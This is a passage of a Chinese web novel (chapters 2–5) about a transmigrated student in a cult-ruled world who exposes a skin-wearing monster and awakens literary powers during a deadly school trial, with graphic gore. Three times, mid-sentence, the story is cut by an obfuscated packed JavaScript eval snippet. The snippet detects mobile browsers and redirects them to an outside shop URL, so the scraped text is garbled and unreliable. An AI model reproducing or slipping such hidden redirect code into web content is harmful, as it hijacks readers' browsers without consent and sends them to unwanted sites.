《我靠诗词战无不胜》 2. 第 2 章 第二天,闻醉蓝整理好准备出门上学,一推开门,就看到谢朝华已经站在门口了。谢朝华脸上还是那种礼貌又疏离的微笑,他对着闻醉蓝微微点头示意。 闻醉蓝“哐”的一下把门关上。 “应该是眼花了……”过了两秒,他深吸一口气,再次打开门,结果谢朝华还是静静地站在门口,那笑容就像刻在脸上一样,没有丝毫变化。 “儿子,怎么还不出发?”爸妈边说着边走上前来,目光触及谢朝华时,眼中不易察觉地闪过一丝忌惮,不过很快就恢复了平常的神色。 谢朝华嘴角上扬,露出礼貌性的微笑:“叔叔阿姨,早上好。” 爸爸微微点头:“早,你在这儿是?” 谢朝华语气平和:“叔叔,是这样,我刚转学到醉蓝的学校,咱们又是邻居,我就想着和他一起上学,路上也能互相照应。” 妈妈微笑着,眼中却有一丝审视:“原来是这样,那还挺巧呢。” 而一旁的闻醉蓝在听到谢朝华说转学时,就略带诧异地望过去。 昨天他被谢朝华拆穿自己引他去对付怪物的小心思后,他还琢磨着怎么和谢朝华解释一下,结果谢朝华只是轻松地说了句“明天见”。 他现在才回过味来,原来那“明天见”不是平常出门的偶遇,而是在学校见。 爸妈看了看闻醉蓝,又看向谢朝华,眼中虽仍有一丝戒备,但还是维持着表面的和善。 “那你们路上小心点。”妈妈说道。 谢朝华微微点头:“谢谢阿姨,我们会的。”说罢,他看向闻醉蓝,眼中似有深意,“走吧,别迟到了。” 闻醉蓝压下心中的疑惑,朝爸妈挥了挥手:“爸妈,我走了。”他没有提出异议,毕竟他提了也没有用,所以直接跟着谢朝华下了楼。 他心里清楚,爸妈今天的行为太奇怪了。以往上学,爸妈就像两个尽职的看守,寸步不离地送他,那眼神中的监视意味再明显不过。 可今天,谢朝华一出现,爸妈竟像是抓到了一个绝佳的机会,顺水推舟地把送他上学的事交给了谢朝华,那姿态仿佛是在向谢朝华卖好。 至少仅仅从这种态度看,谢朝华的地位绝对高于他的养父母。 闻醉蓝心中警铃大作,救命!他不会真是刚离狼窝就入虎穴吧! 谢朝华在前面走着,步伐不紧不慢,那身黑色连帽卫衣在清晨的微光中显得有些亮。闻醉蓝看着他的背影,还是忍不住开口:“巧合?” 谢朝华没有回头,只是声音悠悠传来:“你觉得呢?” 闻醉蓝眉头一皱:“我不相信巧合,尤其是你这样的人带来的巧合。” 谢朝华这才停下脚步,转过身,脸上的表情似笑非笑,不再刻意维持那种平常的微笑:“有些事,就算不是巧合,也得当作巧合来看待,不是吗?” 闻醉蓝眉头紧锁,正欲追问,谢朝华却像是难得好心,不等他多问,就又多说了两句。“我知道你想要什么,你期望的结果我能帮你达成。原因嘛,昨天你已经向我展示了,你的能力值得我们在高考中合作。” 闻醉蓝一愣,立刻抓住关键信息:“我们?” 谢朝华笑了笑:“你之后得熟悉一下你在高考时的团队队友。” 闻醉蓝满脸惊愕:“高考?”他心中大为震撼,这个世界充斥着诡异的信仰和封神之说,高考的出现实在突兀。虽然这半个月他也有心打探一下消息,但他的养父母是把他送进了戒律最严明的神学院附属中学,身边全是一群被洗脑得没办法正常交流的同学,几乎啥话都问不出。 而闻醉蓝的反应让谢朝华投来异样的目光,似乎不解他为何对高考一词出现这么大反应。 闻醉蓝心中一紧,立马意识到自己失态了,今天各种状况交织,让他有些失了冷静。他脑子飞速转动,急忙找补道:“嗯……我之前在的地方消息太闭塞了,教育方式也和这里大不一样……” 谢朝华双手插兜,看着闻醉蓝,眼中的疑惑稍减,下意识以为闻醉蓝来自某个落后之地,毕竟闻醉蓝是从空间裂缝跌进来的,便说道:“这可不是你们那种小地方能比的,高考在这个世界是残酷竞争的象征,关乎资源分配、社会地位,甚至决定你能否安稳生存。你有特殊能力,我选了你,我的伙伴们也认可,这是你的机会。” 闻醉蓝在心中犯嘀咕,他不由自主地把这个高考代入了上一世的高考,所以乍一听谢朝华把高考说得如此吓人,尤其那一句“我选了你,我的伙伴们也认可,这是你的机会”。他觉得实在有些中二。他正想着,一回神就发现谢朝华面色不善地盯着他,闻醉蓝知道自己那种看奇葩的表情太明显,立刻收敛起来,试图挤出一个严肃的表情。 可谢朝华还是被他刚才的反应激到了,语气有些冷硬地说道:“你觉得我在开玩笑?你现在有更好的选择吗?你不想摆脱你那养父母的控制?不想在这个世界掌握自己的命运?还是说,你想一辈子被蒙在鼓里,不明不白成为祭品?” 闻醉蓝深吸一口气,说实在的,他现在确实没得选,看着谢朝华说道:“那需要我做什么?” 谢朝华似乎对闻醉蓝现在的态度满意很多,语气缓和了些:“目前你不必多做什么,到时候听安排就行。” 之后一路无话,到了校门口,谢朝华非常自然地朝另一方向走,闻醉蓝本以为谢朝华是转学到他班上的,毕竟谢朝华也没有掩饰过自己转学的目的,所以忍不住问道:“你不跟我一起去班级吗?” 谢朝华停下脚步,意味不明地看着他,嘴角勾起一抹淡淡的笑:“会合班的,希望我们还能做同学。” 说完,他便朝着行政楼走去。 闻醉蓝有些迟疑,他总觉得谢朝华的话里有话,可一时又想不通其中的深意。 “信仰之血,祭献诸神,永夜将至,唯神永生。”闻醉蓝耳边传来呓语,让他打了个寒颤,瞬间回过神来,撒腿就朝着教学楼狂奔而去。 虽然这上课铃声的歌词过分诡异,但听了半个月也挺顺耳了。 闻醉蓝一路飞奔,总算在上课铃最后一声余音消散前踏入了教室,他靠在门框上,大口喘气。刚缓过神,一阵寒意就从脊梁骨蹿了上来。 教室里灯光昏黄闪烁,所有同学都面朝一个方向,双手交叠在胸前,口中念念有词。 低沉的祷告声在教室里嗡嗡回响。 很明显,他的闯入打破了这份“虔诚”,所有人像是被同一根线操控的木偶,齐刷刷地转过头,直勾勾地看着他。 闻醉蓝被这突如其来的一幕吓得心跳都漏了一拍,后背瞬间渗出一层冷汗。他在心中暗骂了一句“疯子”,但脸上依旧保持着镇定,尽量让自己的脚步显得平稳,回到了自己的座位上。刚一坐下,闻醉蓝还没来得及平复心情,就看到秦老师的身影出现在了教室门口。 秦老师面沉似水,眼神中透着不满,冷冷地说道:“今天的祷告为什么不虔诚?我走到这儿都没有听到声音,你们就是这样对待信仰的?” 他走近了,又开口训斥:“看看你们一个个无精打采的样子,这是对神的亵渎!你们以为这是在玩闹吗?” 他缓缓走进教室,皮鞋在地面上发出的“咯噔”声,“你们这些学生,总是心不在焉,真该好好反思一下自己的态度。要是因为你们的不认真,惹得神降下惩罚,你们承担得起吗?” 闻醉蓝低着头,看似在听着训斥,实则心早已飘远,谁喜欢听这些。 突然,那令人心悸的“咯噔”声停了,周围的空气仿佛瞬间凝固。闻醉蓝下意识地抬起头,就看到秦老师面无表情地站在他旁边。 他着实被吓了一跳,身体微微一僵,在和秦老师对视的瞬间,他的心跳陡然加快,一种强烈的危机感涌上心头。那是一种来自灵魂深处的本能,他的第六感在疯狂示警:快跑! 闻醉蓝能清晰地感觉到那如实质般的恶意,似乎要择人而噬,让他的每一根寒毛都竖了起来。 但他强迫继续和“秦老师”对视,时间仿佛在这一刻被拉长。 他发现了一些端倪,眼前的秦老师只是披上了一层熟悉的人皮的陌生人,看着还是那个平日里的班主任模样,可内里却仿佛藏着截然不同的“东西”。 面容这些都是完全熟悉的,但就是透着一种难以言说的违和感,好像秦老师每一个细微的表情都只是刻意伪装出来的表象,在这表象之下,有另一双眼睛在俯视着他们。 “秦老师”似乎没什么别的想法,只是这样和闻醉蓝对视了一会儿,便转身走回讲台。教室里的气氛依旧紧绷,同学们都还没从刚才的训斥里缓过神来。 就在这时,尖锐的警报声骤然响起,“呜——呜——”,紧接着广播里传来急促的声音:“警报!警报!有未知怪物入侵校园,请全体师生迅速寻找安全地方躲避!重复,有怪物入侵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309444|152307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请迅速躲避!” 教室里瞬间像炸开了锅一样。后排的几个同学吓得直接从座位上跳了起来,桌椅被撞得东倒西歪。有胆小的脸色惨白,捂着嘴开始啜泣,哭声在教室里弥漫开来。 闻醉蓝同桌的手紧紧地抓住闻醉蓝的胳膊,指甲都快掐进他的肉里了,声音带着哭腔:“这是怎么回事?怪物……怪物啊!” 讲台上的“秦老师”放下了原本准备写字的粉笔,神色变得凝重,但依然保持着临危不乱的姿态。 他提高声音喊道:“同学们,不要慌!大家按照平时演练的路线,有序地跟着我走。男生们照顾一下周围的同学,保持安静,不要掉队,我们要尽快到达安全区域。” 说完,“秦老师”就快步走向教室门口,打开门后,站在一侧指挥同学们出门。同学们开始陆续起身,有了主心骨,自然是有序地朝着门口移动。 只有闻醉蓝面色惨白如纸,他的手心全是冷汗。他现在无比确定,那个潜入的怪物就是“秦老师”,跟着这个家伙走?那简直是自寻死路。他僵在原地,没有挪动分毫,这让他在行动的人群中格外显眼。 “秦老师”很快就注意到了他,那冰冷的眼神直射过来,带着不容违抗的命令,微微示意他跟上。闻醉蓝心中一凛,知道此刻不能硬刚,便假意顺从地跟着队伍前行,可大脑在飞速运转。他不清楚这怪物的实力等级,如果贸然高声示警,万一这怪物发狂,后果不堪设想。 闻醉蓝故意放慢脚步,渐渐落在队伍最后。当走到楼梯口时,他瞅准时机,猛地转身朝着另一个方向跑去。 毕竟行政楼和教学楼相通,前往行政楼或许有救。 他气喘吁吁地跑到校长办公室,推开门,却发现校长、教导主任都在,而且他们几乎都没动,静坐在办公室里,每个人的脸上都没有丝毫恐惧之色。闻醉蓝心中顿时涌起几分不好的猜想,刚要开口询问,转头就看到谢朝华正悠闲地坐在沙发上。 这时,校长率先打破沉默,目光如炬地看着他,问道:“你知道谁是怪物?” 闻醉蓝毫不犹豫地点头:“是。” 校长又问:“是什么?” 就在这一问之下,闻醉蓝的脑海中不受控制地浮现出对画皮的描述。 他略微有些迟疑:“画皮……” 校长听后,大笑起来,他转头看向谢朝华,说道:“圣子冕下,你说的没错,这果然是个天才,仅凭一点蛛丝马迹就能洞察真相。” 闻醉蓝心中一沉,他已经隐约猜到了几分真相,今天这所谓的怪物入侵,恐怕不是意外闯入,而是被故意放入校园的。 而这时,校长用锐利的目光再次投向他:“如果要用一句话描述画皮,你会怎么说?” 闻醉蓝陷入了沉默,古籍原文是没有这样简单描述,但让他总结也确实不难:“画皮者,披人皮,惑世人,食人魂。” “好!”校长率先喝彩,眼中满是惊喜。 教导主任也激动地站了起来,声音都有些颤抖:“这孩子不简单呐!短短一句话,把画皮的本质说得清清楚楚。以往那些主修文道的,多是描述得冗长复杂,像他这样一语中的的,真是少见。” 副校长笑容满面,连连点头:“没错,没错。这可不是一般的能力,这天赋,我在这教育界这么多年都难得一见。这次大比,咱们天照有希望了。” 其他领导也纷纷附和,你一言我一语。 “这次可真是捡到宝了,这孩子绝对能成为咱们的王牌。” “是啊,有这样的苗子,咱们天照在大比中的排名肯定能上升,到时候资源还不得哗哗地来。” 闻醉蓝却没心思听这些,他满心想着那些还在惊恐奔逃的同学,这次明摆着是校方测试天赋的一次突袭,那些学生就像被蒙在鼓里的小白鼠,任人摆弄,真是好生可怜。 谢朝华这时却起身站到他身边,嘴唇动了动,开口:“天照一向如此,在高考之前就会通过各种方式选出最具天赋者,然后集中资源培养。这虽然残酷,但也是为了城市的未来,毕竟大比关乎着整个城市的荣辱与资源分配。” 闻醉蓝听到这儿,忍不住刺了他两句:“有那么多方法,一定要用人命来测试吗?他们也是活生生的人啊!” 谢朝华却颇有些疑惑地看着他:“那你觉得这些人算活着吗?” “精神都被操纵,灵魂生而就被献祭,不如早点解脱。” 3. 第 3 章 正当闻醉蓝与谢朝华略微争执的时候,一阵惨叫声刺破了办公室表面的平静。 闻醉蓝脸色一白,然后毫不犹豫地朝着窗边狂跑去。从行政楼的校长办公室窗户望下去,可以将操场的情形尽收眼底。 此刻操场已经变成了血腥盛宴。鲜血从学生们的身体里喷涌而出,又很快便汇聚成一洼又一洼暗红色的血潭,散发着刺鼻的腥味。 最为惊悚的是,周围并没有什么可见的怪物,那些学生们的身上的人皮直接以一种极其恐怖的速度被剥掉。人皮在剥离的瞬间,发出一种令人毛骨悚然的“嘶啦”声,就像是破旧的绸缎被暴力撕开。人皮之下,原本应该是鲜活的肌肉和筋骨,此刻却像是被搅乱的烂泥,血肉模糊地暴露在空气中,还未干涸的血液顺着伤口汩汩流出,溅落在周围的地面上。 闻醉蓝的身体微颤,可能是来这里时间太短,没有被这个世界同化,他双眼通红,转身就想冲下去救人。然而,转身的瞬间,谢朝华却一把抓住了他的手腕,力气大得惊人。 “你先别急,再看看呢。”谢朝华说道。 “再说了?还没有觉醒,你救得了谁?” 闻醉蓝愤怒地看向他,但还是顺着他的目光看去。只见操场上还幸存的学生们,大多都没有逃跑,而是就地跪坐下来。 他们眼中满是惊恐,却又有着一种盲目的狂热。他们双手合十,口中念念有词,口中不断重复着那些祈祷的话语,祈求神的庇佑。 周围的血腥和死亡似乎都无法让他们从这种狂热的祈祷中清醒过来,机械地重复着祷告的动作,完全放弃了自救,任由死亡的阴影一步步逼近。 闻醉蓝只觉得悲凉,他对着谢朝华怒吼道:“这就是你们想要的结果吗?” 谢朝华却只是静静地看着操场,眼神复杂,没有回应,就像一座沉默的雕像。 过了一会儿,谢朝华似乎感受到了闻醉蓝那愤怒之下外溢的精神力,他似乎有些诧异,这才开口道:“那你想救他们吗?” 闻醉蓝猛地转头看向他,正想刺几句,谢朝华却紧接着说道:“你若想救,就用你之前对付泥潭触手的方法,这里有笔也有纸。” 闻醉蓝有些诧异地看向他,眉头紧皱:“你什么意思?” 谢朝华嘴角微微上扬:“写下来你想用的言灵,我帮你扔下去。” 他压低声音,几乎微不可闻:“展现出你的价值,可以打动这些领导的价值。” “比如……觉醒之前就可以直接攻击的精神力。” 闻醉蓝却还是忍不住刺了一句,他从穿越来这个世界就算得上处处小心,压抑了半个月,但今天见到这荒诞的一幕,还是不太能保持冷静。 “你们策划了这一切,现在又假惺惺地给我一个机会来救人?” 谢朝华却一脸淡然:“你不是知道今天要分科吗?其实不是分科,这个更应该叫觉醒。想要觉醒,必定需要材料。这座城市已经资源枯竭,我们没有太多选择。” “没有选择?所以你们就用别人的命来做代价?”闻醉蓝也压低了声音,但还是忍不住反问。 谢朝华微微皱眉,眼中闪过一丝无奈:“你以为我愿意这样?我没法改变,相比而言,这座城市已经算好的,至少有信仰,死亡不会那么痛苦,要是按照别的一些直接按照天赋来决定生死,那死亡会更痛苦。至少这座城市那些无天赋者死亡的时候,精神上没有那么痛苦。” 谢朝华说完这一长段话,停了两秒,然后在闻醉蓝下一句话要说出来之前,提前开口:“如果你有更好的办法,我洗耳恭听。但现在,你没有能力改变,我让你现在展现一下你的价值,也是现在开启觉醒阵的能量足够了,否则这一次觉醒仪式的主持者不会让人救下他们。” 谢朝华说完就突然挥手,只见他的手上不知从何处出现了一张白纸和一支鹅毛笔。 “现在写?”谢朝华的语气平淡得没有任何感情。 闻醉蓝沉默了,但仍旧接过了纸笔。 他咬了咬牙,想起那句“画皮画肉难画骨,知人知面不知心”,准备提笔写下。 当笔尖触碰到白纸的那一刻,闻醉蓝感觉自己仿佛进入了另一个世界。周围的空气变得黏稠起来,像是有一层无形的屏障在阻止他下笔。每注入一丝精神力,都像是用钝刀在割自己的灵魂,疼痛从灵魂深处蔓延开来。 闻醉蓝努力地回忆上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309445|152307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次在生死关头突然喊出言灵的感觉,然后尝试着调动精神力,将自己的精神力一丝一缕地牵引向笔尖,灌注到笔下的文字中。 随着精神力的注入,那支鹅毛笔竟泛起了微光。闻醉蓝感觉自己仿佛进入了一个奇异的空间,周围的一切都消失了,只有他和笔下的文字。 而此时,校长看着闻醉蓝冷汗直流的模样,眉头紧皱,他小跑着来到谢朝华面前,微微躬身说道:“圣子冕下,这孩子明显还没准备好,您这步子是不是跨太大了?万一出了差池……”校长的话还没说完,谢朝华却没有丝毫回应,只是静静地看着闻醉蓝,让校长尴尬地站在一旁。 过了许久,谢朝华才缓缓开口:“言灵只是本能的应激,而下笔如神则是更高层次的境界。他若想脱颖而出,就必须展现出更高的价值。” 就在谢朝华话音落下的瞬间,只见那张纸上的文字开始泛起微光,且越来越亮,最后光芒蔓延而出,穿过窗户,射向操场。光芒所到之处,血腥之气竟被驱散,那些原本在疯狂剥离人皮的画皮像是遇到了克星,开始颤抖、退缩。 而在光芒的源头,闻醉蓝手中的笔像是被赋予了神力,每一笔落下,都有金色的光丝从笔尖飞出,在半空交织成一朵朵绚烂的金花。这些金花不断绽放、飘散,化作点点光芒融入空气中。 谢朝华那一直保持完美的姿态终于出现了裂缝,脸上从容自信的笑容逐渐消失,取而代之的是难以掩饰的震惊。他瞪大了眼睛,失声道:“妙笔生花?这……这怎么可能?” 谢朝华原本手中已经出现了圣杖,他本就没指望一个未觉醒的人能凭借精神力真正对抗画皮,只是想在闻醉蓝行动之时,依靠圣杖消除可能出现的负面效果。可眼前的场景完全超出了他的预料,他一时竟有些不知所措,喃喃自语道:“怎么可能?他怎么可能直接杀死画皮?之前在街道出现的怪物不过是最低阶的,可画皮不一样,那是三阶的邪祟啊!” 而异象还不仅仅这般,天空风云变幻,风起云涌间,似有梵音自九霄云外传来,声声入耳,直击灵魂。 在场的众人都不由自主地看向天空,校长瞪大了眼睛,满脸惊愕地说道:“这是……天昭神瑞!” 4. 第 4 章 此刻,省教育局会议室里,刑局正坐在长桌的主位,下属分在周围列坐。 投影仪的灯光在墙上打出清晰的图表,距离本省的觉醒仪式时间近了。 “每年觉醒仪式关乎重大,我们必须确保各个环节万无一失。”刑局喝了一口水润润嗓子,“这不仅是对学生们的考验,更是对我们教育系统的一次大检验。每一个细节都可能影响最终的结果,大家务必打起十二分精神。” 下属们纷纷点头,手中的笔在笔记本上快速记录。 就在这时,刑局突然身体一僵,作为一个高阶异能者,他对天地变化颇为敏感,此刻一种莫名的悸动从灵魂深处涌起。 他的脸色微微一变,眼中闪过一丝惊愕。其他下属也早有所感觉,手中的笔停了下来,只是刑局没动,他们也没敢先发言。 刑局一言不发,然后猛地起身,椅子在身后发出刺耳的摩擦声,他顾不上其他,快步朝着会议室的大门走去,步伐急促。他冲出大门,来到走廊尽头的窗边,抬头望向天空。 在遥远的天际,天昭神瑞降下来的光芒即便隔着距离也清晰可见。 出来的人不少,他们的目光都紧紧锁在那光芒之上,一时间,众人都安静了下来。 局长像是陷入了某种回忆,他嘴唇微颤,轻声呢喃:“这难道是……天昭神瑞?” 天昭神瑞,极其罕有的奇迹,难得一现。每一次天昭神瑞的出现,都意味着天地与某位生灵有了某种特殊的共鸣。它需要精神波动达到一个极高的频次,并且这种精神力要得到天地的认可,才有可能触发。 在文科领域,天昭神瑞的出现条件苛刻得如同登天之路。往往只有文人耗尽心血,完成一部足以洞彻灵魂、启迪智慧的巨著,才可能触动天地。 而如今,眼前这光芒竟似天昭神瑞? 张副科长最先打破沉默,他向前微微欠身,语气中带着几分试探:“局长,这等奇景,实属罕见。您看,要不前去查看一番?” 这番话说完,其他人的目光也齐刷刷地看向局长。 刑局似乎还陷在回忆里,过了好半天,眼神才恢复了往日的威严:“嗯,此事的确非同小可。李副处长、林科长,你们带领部分人员继续留意全省的觉醒仪式,确保不得有丝毫差池。其余人和我一同前往光芒的源头,一探究竟。” 闻醉蓝自然不知道自己引发的轩然大波,他在全力灌注精神力后,像是被抽干了所有的力气,眼前一黑,便昏了过去。 再醒来时,他只觉得脑袋昏沉,脚下传来一股奇异的能量波动。他努力睁开双眼,发现自己正躺在地上,勉强坐起来,视线也逐渐清晰。 他正站在一个巨大的法阵中央,地面上刻满了怪异扭曲的符文,幽蓝和深紫的光交替,隐隐看去还有着几分血色。 光沿着符文脉络缓缓流动,汇聚到阵的中心,也就是他的脚下。 空气中还残留着刺鼻的血腥味儿,这味道让他一阵作呕,但同时也让他瞬间清醒过来。 他刚一动弹,便感觉无数道目光如利箭般向他射来。 【我去,这就是引发天昭神瑞的家伙?看起来也很普通嘛?】 【他不是还没觉醒吗?没觉醒就能搞出这么大动静?】 【说不定只是瞎猫碰上死耗子,就写了一句话能有多大能耐?】 【你们懂什么,这说不定是一种新的文学形式,以前没见过才引起天道关注】 【新形式?别搞笑了,我看就是哗众取宠,一句话能有什么内涵?】 【自创体裁?这能走得远才有鬼,老祖宗留下的东西不用,非要搞这些花里胡哨的。】 【一群垃圾还点评上天才了,网上:天昭神瑞算什么?线下:这辈子能不能突破三阶】 …… “灵眸之视”的屏幕上不断有新的弹幕,一层叠着一层,密密麻麻,色彩斑斓的文字几乎将整个画面完全填满。 “灵眸之视”是教育部为保障觉醒仪式公平公正而设立的特殊环节。 “灵眸之视”就是特殊的九阶法器,主体在首都,可以监视所统领区域的一切。 每一年的觉醒仪式以及高考,都会事无巨细地将仪式的每个角落都展示出来。 毕竟觉醒仪式对于任何人而言,都是命运的转折点。 撑不到觉醒仪式的学子,都先变成了大阵开启的养料,剩下的还得靠觉醒仪式判定资质。 其公平性至关重要。 往昔岁月里,觉醒仪式也曾屡次遭受破坏。 有的是心怀叵测之人,为了一己私欲,打压天赋异禀的苗子,更有甚者,妖物乔装混入其中。 为了杜绝此类悲剧再次上演,也为了让民众能亲眼见证这一公正的选拔,教育部特意在官网上对觉醒仪式进行全程直播,每个学校都拥有独立的直播间。 此刻,闻醉蓝所在学校的直播间已然成为了风暴的中心,毕竟他是今年未觉醒便引发天昭神瑞的七人之一,这七人当中还大多是武科,文科仅有三人。 其中两人一个是九阶异能者的弟子,写出长篇的《童话》,另一个也是行万里路,写了百万字的《观天下》。 但闻醉蓝……只写了一句。 所以观众蜂拥而至,神学院附属中学直播间里,弹幕密密麻麻,疯狂地在屏幕上滚动。 此刻看台上,领导和工作人员们神色各异,交头接耳地议论着。 “这孩子真是可惜,天赋异禀却偏偏生在了这里。” 旁边的工作人员微微点头,附和道:“是啊,他命格似乎还与那位上尊相合,一个有些天赋的学子和那位神祇……他若没有更高的价值。” “那就看看他的价值几何。” 谢朝华微微抬起下巴,然后眼神扫过在场的一些教会人员,“至少,谁知道他的价值会不会比作为一个祭品高呢?” 在场有人面露不忿,但不敢反驳,面前这位是圣教神祇钦点的圣子,地位在此,其余人总归是低了一层。 “那就看看他在觉醒仪式上能有何表现,若只是徒有其表,那所谓的价值也不过是笑谈。”但终归也有敢于呛声的。 谢朝华没说话,只是微微侧头扫了那人一眼,不带任何情绪。 “可惜了,他天赋算得上顶级。”谢朝华露出那个像是训练好的微笑,这一次完全皮笑肉不笑,然后指着闻醉蓝身后异象。 笔墨纸砚逐渐在闻醉蓝身后显现,毛笔的笔杆似用上等檀木所制,墨锭黝黑,宣纸如雪,砚台则不知是石头雕琢而成。 【不是?这是什么?】 【笔和纸都认不得?蠢货】 【我当然认得!但都长得很奇怪!】 …… 不止弹幕炸开了锅,看台上众人也是议论纷纷。 “这些奇怪的物件到底是什么?看起来像是古代的东西,可又陌生。”一位领导皱着眉头说道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309446|152307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那根像是笔的东西,肯定不是鹅毛笔,鹅毛笔可没那样的花纹,而且质地看着也不同。”一个工作人员仔细打量着异象中的毛笔。 “还有那纸,也不像是羊皮纸,羊皮纸哪有这么细腻光滑。”另一个人立刻附和。 “那黑色的块状物体和那个带水的石盘就更让人费解了,完全猜不出用途。”一位老教授模样的人推了推眼镜,满脸疑惑,“这些东西从未在我们现有的知识体系里出现过,若说是古老文明的遗留物,可为何在一个学子的觉醒仪式上出现?” 而法阵中心,闻醉蓝身后的光芒变得暗淡,渐渐散去。 这算是觉醒完成。 闻醉蓝只觉自己的精神力像是被点燃的火焰,串在身体每一处,原本模糊的感知也变得清晰无比,甚至看台上的对话也一字不漏地被他捕捉到。 听到看台上几人的猜测,他却暗自松了一口气。 觉醒时有异象,足以证明他的天赋堪称上等。而且,更让他惊喜的是,觉醒之后,前世所学的那些经赋诗词如同一幅幅画卷般在他脑海中徐徐展开,每一个字、每一句话都清晰地印刻入脑海。 上一世,他本就因记忆力超群而在华夏诗词大会上拔得头筹,但那时的记忆与现在相比,犹如萤火比之皓月。 “恭喜,你的觉醒已然完成,这是神赐的荣耀。” 闻醉蓝被打断思绪,他睁开眼,便看到谢朝华站在他面前,做了一个手势,是圣教为初觉醒者祈福的手势,甚至嘴角还噙着一抹微笑。 闻醉蓝刚要回礼,就听到谢朝华的声音直接传入了他的脑海。 “通常情况下,学子们高二觉醒,高三才面临高考,你本应有一年的时间准备。但三个月后的年祭就会举行。你因天昭神瑞展现出了价值,你可以赌一赌,看是否有势力愿意保你平安度过此劫,或者……” “你选择参加后天的高考,和我们一起。” 闻醉蓝面露惊诧,眼中闪过一丝慌乱,他想要说些什么,可最终还是咽了回去。 他抬眸看向谢朝华,只见对方嘴角噙笑,但双唇纹丝未动,仿佛刚刚那传入闻醉蓝脑海中的话只是一场幻觉。 沉默片刻,闻醉蓝知道这里不是问话的好地方,直接跟着谢朝华离开法阵。 一路上,他能清晰地感觉到无数道目光看过来,但却没有一个人上来和他交谈,这只能说明……至少他现在表现出来的价值还没有超过成为祭品的价值。 所以,没有人会想和一个注定的死人聊天。 不安的情绪在闻醉蓝心底蔓延开来。 就在这时,闻醉蓝感觉口袋里的手机微微震动。 他拿出手机一看,短信。 只是这个发送人居然是谢朝华,他略显诧异地看了谢朝华一眼,不愧是本城的圣子,还是神通广大,他可没有告诉过谢朝自己的联系方式,但对方却能如此轻易地找到他。 不过闻醉蓝没说出来,他对这条消息没什么戒备心,直接打开,便是一个压缩文件。 没有犹豫,闻醉蓝直接打开了文件,其中内容是本次高考的几个地点信息。 文件里详细介绍了不同地点所举行的升阶仪式,闻醉蓝快速浏览着,那些陌生的西方地点名称在眼前一一闪过。 “推举”、“世袭”、“教会”……“家庭教育”。 “童生试?”闻醉蓝忍不住惊呼出声,这个世界,居然会存在这个? 5. 第 5 章 没等闻醉蓝站在那儿震惊,谢朝华上了看台后,就没有和闻醉蓝一同走,而是朝着另一个方向过去了,似乎只是为了显示一下表面上的祝贺。 但手机上的短信很明显不是…… 闻醉蓝和谢朝华分开后,就在工作人员的指引下来到了看台后面的学生休息区。 这里摆放着一排排木制长椅,周围有几棵大树,树荫斑驳地洒在地面上。 闻醉蓝的目光有些空洞地望着前方,突然一声尖叫打破了平静。 “快看!龙虎图腾!”前面有人兴奋地大喊。只见天空中出现了巨大龙虎图腾,龙虎栩栩如生,仿佛要从空中扑下来一般。在图腾下方,一个学生睁开眼,然后缓缓走下来,看样子是刚完成觉醒。他被工作人员指引着,朝着休息区走来,正好坐在了闻醉蓝旁边。 这学生刚一坐下,还没来得及喘口气,就见几个人匆忙赶来。为首的是一位身着华丽长袍的老者,他满脸笑意,眼神中透着热切,他拍了拍学生的肩膀,说道:“觉醒时候出现的异象,和我们圣辉学院现任校长当年一般,相信我,这里有最适合你的修炼资源。” …… 随着时间推移,学生休息区愈发热闹起来。 闻醉蓝一言不发地看着这一切,他能感觉出来,有好几个人在和目标学生交谈时,不断朝着他投来目光,眼中有明显的意动。 但每当这些人有所动作,像是要朝他走来时,却又像是突然想到了什么,终究还是没有行动。 闻醉蓝坐在长椅上,嘴角泛起一丝苦笑,心中明白,看来谢朝华所言非虚,没有人愿意为了一个可能会在年祭中消失的人而投入资源。 穿越到这个鬼地方,真是倒霉透顶。 闻醉蓝深知自己现在的处境,虽然他拥有不错的觉醒天赋,可那又如何?与成为年祭所需的祭品相比,他目前展现出的价值实在是微不足道,那些教会不会放过任何一个能在年祭中讨好神明的机会,哪怕只是有一丝可能性让他成为一个能被书写在祭祀典籍中的“优质祭品”,他们也会毫不犹豫地将他推向死亡。 “醉蓝!”突然一声呼喊传来,闻醉蓝猛地一惊,身体下意识地颤抖了一下。 他转头看去,是他的养父母,正笑意盈盈地站在不远处。养父母的脸上洋溢着温和的笑容,但那笑容在阳光下显得有些刺眼,让他不由自主地打了个寒颤。 爸爸满脸笑意地快步走向他,那步伐轻快得有些刻意。 走到近前,爸爸伸出手,用力地拍了拍闻醉蓝的肩膀,爽朗地笑道:“我的好孩子,你今天可真是给我们长脸啦!” 